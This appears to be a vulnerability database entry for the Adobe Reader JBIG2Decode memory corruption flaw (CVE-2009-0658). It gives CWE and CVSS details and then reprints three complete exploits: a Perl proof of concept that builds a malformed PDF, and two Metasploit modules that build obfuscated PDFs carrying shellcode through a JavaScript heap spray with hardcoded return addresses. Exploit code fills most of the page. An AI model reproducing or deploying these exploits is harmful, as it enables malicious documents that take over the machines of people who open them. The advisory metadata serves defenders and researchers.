Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 8099
Publication date : 2009-02-22
23h00 +00:00
Author : Guido Landi
EDB Verified : Yes
#!/usr/bin/perl
# k`sOSe 02/22/2009
# http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html
my $size = "\x40\x00";
my $factor = "ABCD";
my $data = "A" x 8314;
print pdf();
sub pdf()
{
"%PDF-1.5\n" .
"%\xec\xf5\xf2\xe1\xe4\xef\xe3\xf5\xed\xe5\xee\xf4\n" .
"3 0 \n" .
"xref\n" .
"3 16\n" .
"0000000023 00000 n \n" .
"0000000584 00000 n \n" .
"0000000865 00000 n \n" .
"0000001035 00000 n \n" .
"0000001158 00000 n \n" .
"0000001287 00000 n \n" .
"0000001338 00000 n \n" .
"0000001384 00000 n \n" .
"0000002861 00000 n \n" .
"0000003637 00000 n \n" .
"0000005126 00000 n \n" .
"0000005173 00000 n \n" .
"0000005317 00000 n \n" .
"0000005370 00000 n \n" .
"0000005504 00000 n \n" .
"0000000714 00000 n \n" .
"trailer\n" .
"<</Root 4 0 R/Info 2 0 R/ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 19/Prev 10218>>\n" .
"startxref\n" .
"0\n" .
"%%EOF\n" .
" \n" .
"4 0 obj\n" .
"<</Type/Catalog/Pages 1 0 R/OCProperties<</OCGs[9 0 R 13 0 R]/D<</Order[9 0 R 13 0 R]/ON[9 0 R 13 0 R]/OFF[]>>>>>>\n" .
"endobj\n" .
" \n" .
"5 0 obj\n" .
"<</Type/Page/MediaBox[0 0 640 480]/Resources<</XObject<</Im001 7 0 R/Im002 10 0 R/Im003 11 0 R/Im004 14 0 R/Im005 16 0 R>>>>/Contents 6 0 R/Parent 1 0 R>>\n" .
"endobj\n" .
"6 0 obj\n" .
"<</Length 56/Filter/FlateDecode>>\n" .
"stream\n" .
"x\x9c\xe3*T031P\x00A\x13\x0b\x08\x9d\x9c\xab\xa0\xef\x99k``\xa8\xe0\x92\xaf\x10\xc8\x85[\x81\x11!\x05\xc6\x84\x14\x98\xc0\x14\xc0\$\@\xb4\x05\xb2\n" .
"S\xb0\n" .
"\x00J\x15#,\n" .
"endstream\n" .
"endobj\n" .
"12 0 obj\n" .
"<</Subtype/Image/Width 640/Height 480/ColorSpace/DeviceGray/BitsPerComponent 1/Decode[1 0]/Interpolate true/Length 1314/Filter/JBIG2Decode>>\n" .
"stream\n" .
"\x00\x00\x00\x01" . $size . $factor . "\x13" . $data . "endstream\n" .
"endobj\n" .
"13 0 obj\n" .
"<</Type/OCG/Name(Text Color)>>\n" .
"endobj\n" .
"14 0 obj\n" .
"<</Subtype/Image/Width 1/Height 1/ColorSpace/DeviceGray/BitsPerComponent 8/SMask 12 0 R/OC 15 0 R/Length 1>>\n" .
"stream\n" .
"\x00\n" .
"endstream\n" .
"endobj\n" .
"1 0 obj\n" .
"<</Type/Pages/Kids[5 0 R]/Count 1>>\n" .
"endobj\n" .
"xref\n" .
"0 3\n" .
"0000000000 65535 f \n" .
"0000009988 00000 n \n" .
"0000010039 00000 n \n" .
"trailer\n" .
"<</ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 3>>\n" .
"startxref\n" .
"104\n" .
"%%EOF\n";
}
# milw0rm.com [2009-02-23]
Exploit Database EDB-ID : 16593
Publication date : 2010-06-14
22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: adobe_jbig2decode.rb 9525 2010-06-15 07:18:08Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit',
'Description' => %q{
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
This module relies upon javascript for the heap spray.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Metasploit implementation
'natron',
# bl4cksecurity blog explanation of vuln [see References]
'xort', 'redsand',
# obfuscation techniques and pdf template from util_printf
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
],
'Version' => '$Revision: 9525 $',
'References' =>
[
[ 'CVE' , '2009-0658' ],
[ 'OSVDB', '52073' ],
[ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => ""
},
'Platform' => 'win',
'Targets' =>
[
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
],
'DisclosureDate' => 'Feb 19 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize some variables
rand1 = rand_text_alpha(rand(50) + 1)
rand2 = rand_text_alpha(rand(50) + 1)
rand3 = rand_text_alpha(rand(50) + 1)
rand4 = rand_text_alpha(rand(50) + 1)
rand5 = rand_text_alpha(rand(50) + 1)
rand6 = rand_text_alpha(rand(50) + 1)
rand7 = rand_text_alpha(rand(50) + 1)
rand8 = rand_text_alpha(rand(50) + 1)
rand9 = rand_text_alpha(rand(50) + 1)
rand10 = rand_text_alpha(rand(50) + 1)
rand11 = rand_text_alpha(rand(50) + 1)
rand12 = rand_text_alpha(rand(50) + 1)
rand13 = rand_text_alpha(rand(50) + 1)
rand14 = rand_text_alpha(rand(50) + 1)
rand15 = rand_text_alpha(rand(50) + 1)
rand16 = rand_text_alpha(rand(50) + 1)
script = %Q|
var #{rand1} = "";
var #{rand2} = "";
var #{rand3} = unescape("#{shellcode}");
var #{rand4} = "";
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
#{rand6} = #{rand4} + #{rand3};
#{rand7} = unescape("#{nops}");
#{rand8} = 20;
#{rand9} = #{rand8}+#{rand6}.length
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
#{rand10} = #{rand7}.substring(0, #{rand9});
#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
#{rand12} = new Array();
for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
#{rand13} = #{rand2}.length + 20
while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
#{rand14} = #{rand2}.substring(0, #{rand13});
#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
#{rand16} = new Array();
for (#{rand5}=0;#{rand5}<175;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
|
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec
# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214
jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr
# Create the pdf
pdf = make_pdf(script, jbig2stream)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'Attachment' }) #
handler(cli)
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
# Randomize the spaces and newlines
elsif c == " "
result << " " * (rand(3) + 1)
if rand(2) == 0
result << "\x0d\x0a"
result << " " * rand(2)
end
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(js, jbig2)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level
pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
xref << pdf.length
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end
Exploit Database EDB-ID : 16672
Publication date : 2010-09-24
22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: adobe_jbig2decode.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit',
'Description' => %q{
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
This module relies upon javascript for the heap spray.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Metasploit implementation
'natron',
# bl4cksecurity blog explanation of vuln [see References]
'xort', 'redsand',
# obfuscation techniques and pdf template from util_printf
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE' , '2009-0658' ],
[ 'OSVDB', '52073' ],
[ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => ""
},
'Platform' => 'win',
'Targets' =>
[
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
],
'DisclosureDate' => 'Feb 19 2009',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize some variables
rand1 = rand_text_alpha(rand(50) + 1)
rand2 = rand_text_alpha(rand(50) + 1)
rand3 = rand_text_alpha(rand(50) + 1)
rand4 = rand_text_alpha(rand(50) + 1)
rand5 = rand_text_alpha(rand(50) + 1)
rand6 = rand_text_alpha(rand(50) + 1)
rand7 = rand_text_alpha(rand(50) + 1)
rand8 = rand_text_alpha(rand(50) + 1)
rand9 = rand_text_alpha(rand(50) + 1)
rand10 = rand_text_alpha(rand(50) + 1)
rand11 = rand_text_alpha(rand(50) + 1)
rand12 = rand_text_alpha(rand(50) + 1)
rand13 = rand_text_alpha(rand(50) + 1)
rand14 = rand_text_alpha(rand(50) + 1)
rand15 = rand_text_alpha(rand(50) + 1)
rand16 = rand_text_alpha(rand(50) + 1)
script = %Q|
var #{rand1} = "";
var #{rand2} = "";
var #{rand3} = unescape("#{shellcode}");
var #{rand4} = "";
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
#{rand6} = #{rand4} + #{rand3};
#{rand7} = unescape("#{nops}");
#{rand8} = 20;
#{rand9} = #{rand8}+#{rand6}.length
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
#{rand10} = #{rand7}.substring(0, #{rand9});
#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
#{rand12} = new Array();
for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
#{rand13} = #{rand2}.length + 20
while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
#{rand14} = #{rand2}.substring(0, #{rand13});
#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
#{rand16} = new Array();
for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
|
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec
# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214
jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr
# Create the pdf
pdf = make_pdf(script, jbig2stream)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
# Randomize the spaces and newlines
elsif c == " "
result << " " * (rand(3) + 1)
if rand(2) == 0
result << "\x0d\x0a"
result << " " * rand(2)
end
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(js, jbig2)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level
pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
xref << pdf.length
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end
Products Mentioned
Configuraton 0
Adobe>>Acrobat >> Version From (including) 7.0 To (including) 7.1.1
Adobe>>Acrobat >> Version From (including) 8.0 To (including) 8.1.4
Adobe>>Acrobat >> Version 9.0
Adobe>>Acrobat_reader >> Version From (including) 7.0 To (including) 7.1.1
Adobe>>Acrobat_reader >> Version From (including) 8.0 To (including) 8.1.4
Adobe>>Acrobat_reader >> Version 9.0
References
